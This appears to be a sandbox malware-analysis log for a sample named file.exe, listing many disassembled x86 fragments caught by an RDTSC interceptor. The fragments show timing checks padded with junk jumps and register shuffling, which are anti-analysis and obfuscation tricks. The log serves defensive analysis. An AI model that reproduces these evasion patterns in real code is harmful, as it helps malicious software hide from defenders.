Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D807FF second address: 4D80881 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796F3554h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+34h], eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F1A796F354Eh 0x00000013 add esi, 057694F8h 0x00000019 jmp 00007F1A796F354Bh 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007F1A796F3558h 0x00000025 sbb cx, EF58h 0x0000002a jmp 00007F1A796F354Bh 0x0000002f popfd 0x00000030 popad 0x00000031 mov eax, dword ptr [ebx+18h] 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F1A796F3555h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80881 second address: 4D80887 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D809CD second address: 4D80A1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushfd 0x00000006 jmp 00007F1A796F3551h 0x0000000b add ax, AF56h 0x00000010 jmp 00007F1A796F3551h 0x00000015 popfd 0x00000016 popad 0x00000017 nop 0x00000018 jmp 00007F1A796F354Eh 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F1A796F354Eh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80A1C second address: 4D80A22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80A22 second address: 4D80A26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80A26 second address: 4D80A35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80A35 second address: 4D80A39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80A39 second address: 4D80A3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80A3F second address: 4D80A88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796F354Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-10h] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F1A796F354Ch 0x00000013 or ch, 00000038h 0x00000016 jmp 00007F1A796F354Bh 0x0000001b popfd 0x0000001c mov bx, ax 0x0000001f popad 0x00000020 nop 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F1A796F3551h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80BEE second address: 4D80C54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F1A796B9BF4h 0x0000000a sbb cx, A858h 0x0000000f jmp 00007F1A796B9BEBh 0x00000014 popfd 0x00000015 popad 0x00000016 popad 0x00000017 lea eax, dword ptr [ebx+78h] 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F1A796B9BF4h 0x00000021 sbb al, FFFFFFB8h 0x00000024 jmp 00007F1A796B9BEBh 0x00000029 popfd 0x0000002a push ecx 0x0000002b push ebx 0x0000002c pop ecx 0x0000002d pop ebx 0x0000002e popad 0x0000002f push 00000001h 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 mov eax, edi 0x00000036 mov edi, 4B2D0A8Ah 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80D53 second address: 4D80D57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80D57 second address: 4D80D5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80D5B second address: 4D80D61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80D61 second address: 4D80D67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80D67 second address: 4D80D6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80D6B second address: 4D80D6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80D6F second address: 4D80DEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edi, eax 0x0000000a jmp 00007F1A796F354Ah 0x0000000f test edi, edi 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F1A796F354Eh 0x00000018 and eax, 1A830018h 0x0000001e jmp 00007F1A796F354Bh 0x00000023 popfd 0x00000024 pushfd 0x00000025 jmp 00007F1A796F3558h 0x0000002a xor ax, 6A78h 0x0000002f jmp 00007F1A796F354Bh 0x00000034 popfd 0x00000035 popad 0x00000036 js 00007F1AE9771E2Dh 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F1A796F3550h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80DEC second address: 4D80DF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80DF0 second address: 4D80DF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80DF6 second address: 4D80DFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80DFC second address: 4D80E00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80E00 second address: 4D80E18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebp-04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1A796B9BEBh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80E18 second address: 4D80E3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 57AAh 0x00000007 mov ecx, edi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esi+08h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F1A796F354Fh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80E3A second address: 4D80E40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80E40 second address: 4D80E69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796F3554h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebx+70h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F1A796F354Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80E69 second address: 4D80E6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80E6D second address: 4D80E73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80E73 second address: 4D80E79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80E79 second address: 4D80F6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 00000001h 0x0000000a pushad 0x0000000b mov ch, 60h 0x0000000d pushfd 0x0000000e jmp 00007F1A796F3557h 0x00000013 jmp 00007F1A796F3553h 0x00000018 popfd 0x00000019 popad 0x0000001a nop 0x0000001b pushad 0x0000001c push ecx 0x0000001d movsx edi, ax 0x00000020 pop ecx 0x00000021 popad 0x00000022 push eax 0x00000023 jmp 00007F1A796F3559h 0x00000028 nop 0x00000029 jmp 00007F1A796F354Eh 0x0000002e lea eax, dword ptr [ebp-18h] 0x00000031 pushad 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007F1A796F354Ch 0x00000039 and ax, 7D78h 0x0000003e jmp 00007F1A796F354Bh 0x00000043 popfd 0x00000044 call 00007F1A796F3558h 0x00000049 pop eax 0x0000004a popad 0x0000004b pushfd 0x0000004c jmp 00007F1A796F354Bh 0x00000051 sub esi, 3EE489EEh 0x00000057 jmp 00007F1A796F3559h 0x0000005c popfd 0x0000005d popad 0x0000005e nop 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007F1A796F3558h 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80F6B second address: 4D80F71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80F71 second address: 4D80F82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1A796F354Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80F82 second address: 4D80F86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80F86 second address: 4D80FAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov cx, CE99h 0x0000000e push eax 0x0000000f push edx 0x00000010 call 00007F1A796F3554h 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81067 second address: 4D8106D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8106D second address: 4D810C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796F354Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [ebp-14h] 0x0000000e jmp 00007F1A796F354Eh 0x00000013 mov ecx, esi 0x00000015 jmp 00007F1A796F3550h 0x0000001a mov dword ptr [esi+0Ch], eax 0x0000001d jmp 00007F1A796F3550h 0x00000022 mov edx, 74E806ECh 0x00000027 pushad 0x00000028 mov eax, 50E93C9Dh 0x0000002d push eax 0x0000002e push edx 0x0000002f mov edi, esi 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D810C5 second address: 4D811A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796B9BF4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a sub eax, eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F1A796B9BF7h 0x00000013 adc ax, 8A6Eh 0x00000018 jmp 00007F1A796B9BF9h 0x0000001d popfd 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F1A796B9BEEh 0x00000025 jmp 00007F1A796B9BF5h 0x0000002a popfd 0x0000002b call 00007F1A796B9BF0h 0x00000030 pop ecx 0x00000031 popad 0x00000032 popad 0x00000033 lock cmpxchg dword ptr [edx], ecx 0x00000037 pushad 0x00000038 mov si, dx 0x0000003b mov cx, dx 0x0000003e popad 0x0000003f pop edi 0x00000040 jmp 00007F1A796B9BF5h 0x00000045 test eax, eax 0x00000047 jmp 00007F1A796B9BEEh 0x0000004c jne 00007F1AE973813Fh 0x00000052 pushad 0x00000053 mov esi, 2D1D136Dh 0x00000058 mov ch, 79h 0x0000005a popad 0x0000005b mov edx, dword ptr [ebp+08h] 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007F1A796B9BF0h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D811A7 second address: 4D811BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796F354Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D811BD second address: 4D811C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D811C2 second address: 4D81201 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov esi, ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [edx], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov si, 37F3h 0x00000013 pushfd 0x00000014 jmp 00007F1A796F3558h 0x00000019 or eax, 37B72CF8h 0x0000001f jmp 00007F1A796F354Bh 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81201 second address: 4D81253 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1A796B9BEFh 0x00000009 xor ax, 20BEh 0x0000000e jmp 00007F1A796B9BF9h 0x00000013 popfd 0x00000014 mov edx, eax 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov eax, dword ptr [esi+04h] 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F1A796B9BF4h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81253 second address: 4D81262 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796F354Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81262 second address: 4D8129E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1A796B9BEFh 0x00000009 jmp 00007F1A796B9BF3h 0x0000000e popfd 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 mov dword ptr [edx+04h], eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F1A796B9BEBh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8129E second address: 4D812A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D812A4 second address: 4D812A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D812A8 second address: 4D81302 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796F354Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esi+08h] 0x0000000e jmp 00007F1A796F3556h 0x00000013 mov dword ptr [edx+08h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F1A796F354Dh 0x0000001f add ecx, 6F587076h 0x00000025 jmp 00007F1A796F3551h 0x0000002a popfd 0x0000002b movzx eax, dx 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81302 second address: 4D8131F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1A796B9BF9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8131F second address: 4D81323 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81323 second address: 4D81348 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esi+0Ch] 0x0000000b jmp 00007F1A796B9BEDh 0x00000010 mov dword ptr [edx+0Ch], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov bh, C3h 0x00000018 mov si, 014Bh 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81348 second address: 4D8136E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, BA72h 0x00000007 jmp 00007F1A796F3553h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [esi+10h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8136E second address: 4D81374 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81374 second address: 4D8137A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8137A second address: 4D8146D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+10h], eax 0x0000000b jmp 00007F1A796B9BF0h 0x00000010 mov eax, dword ptr [esi+14h] 0x00000013 pushad 0x00000014 jmp 00007F1A796B9BEEh 0x00000019 pushfd 0x0000001a jmp 00007F1A796B9BF2h 0x0000001f sub esi, 45D93E48h 0x00000025 jmp 00007F1A796B9BEBh 0x0000002a popfd 0x0000002b popad 0x0000002c mov dword ptr [edx+14h], eax 0x0000002f jmp 00007F1A796B9BF6h 0x00000034 mov eax, dword ptr [esi+18h] 0x00000037 pushad 0x00000038 pushfd 0x00000039 jmp 00007F1A796B9BEEh 0x0000003e and cx, 63D8h 0x00000043 jmp 00007F1A796B9BEBh 0x00000048 popfd 0x00000049 jmp 00007F1A796B9BF8h 0x0000004e popad 0x0000004f mov dword ptr [edx+18h], eax 0x00000052 pushad 0x00000053 mov dx, ax 0x00000056 movzx eax, bx 0x00000059 popad 0x0000005a mov eax, dword ptr [esi+1Ch] 0x0000005d jmp 00007F1A796B9BF5h 0x00000062 mov dword ptr [edx+1Ch], eax 0x00000065 pushad 0x00000066 pushfd 0x00000067 jmp 00007F1A796B9BECh 0x0000006c xor eax, 4BFE67C8h 0x00000072 jmp 00007F1A796B9BEBh 0x00000077 popfd 0x00000078 push eax 0x00000079 push edx 0x0000007a mov cl, 57h 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8146D second address: 4D81494 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esi+20h] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1A796F3559h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81494 second address: 4D81498 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81498 second address: 4D8149E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8149E second address: 4D814A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D814A4 second address: 4D814A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D814A8 second address: 4D81546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+20h], eax 0x0000000b jmp 00007F1A796B9BF2h 0x00000010 mov eax, dword ptr [esi+24h] 0x00000013 jmp 00007F1A796B9BF0h 0x00000018 mov dword ptr [edx+24h], eax 0x0000001b pushad 0x0000001c mov cx, 143Dh 0x00000020 pushfd 0x00000021 jmp 00007F1A796B9BEAh 0x00000026 xor ecx, 6E2E7218h 0x0000002c jmp 00007F1A796B9BEBh 0x00000031 popfd 0x00000032 popad 0x00000033 mov eax, dword ptr [esi+28h] 0x00000036 jmp 00007F1A796B9BF6h 0x0000003b mov dword ptr [edx+28h], eax 0x0000003e jmp 00007F1A796B9BF0h 0x00000043 mov ecx, dword ptr [esi+2Ch] 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F1A796B9BF7h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81546 second address: 4D8154C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8154C second address: 4D81550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81550 second address: 4D815A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+2Ch], ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F1A796F3558h 0x00000014 and esi, 18F1E868h 0x0000001a jmp 00007F1A796F354Bh 0x0000001f popfd 0x00000020 jmp 00007F1A796F3558h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D815A2 second address: 4D815A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D815A8 second address: 4D815AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D815AC second address: 4D815C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ax, word ptr [esi+30h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D815C0 second address: 4D81605 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1A796F354Dh 0x00000008 movzx eax, bx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov word ptr [edx+30h], ax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F1A796F3554h 0x0000001b or si, 6F88h 0x00000020 jmp 00007F1A796F354Bh 0x00000025 popfd 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81605 second address: 4D8160A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8160A second address: 4D81610 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81610 second address: 4D81614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81614 second address: 4D81618 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81618 second address: 4D81637 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ax, word ptr [esi+32h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F1A796B9BEFh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81637 second address: 4D8163B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8163B second address: 4D81641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81641 second address: 4D81674 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, ecx 0x00000005 jmp 00007F1A796F354Eh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov word ptr [edx+32h], ax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F1A796F3557h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81674 second address: 4D8167A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
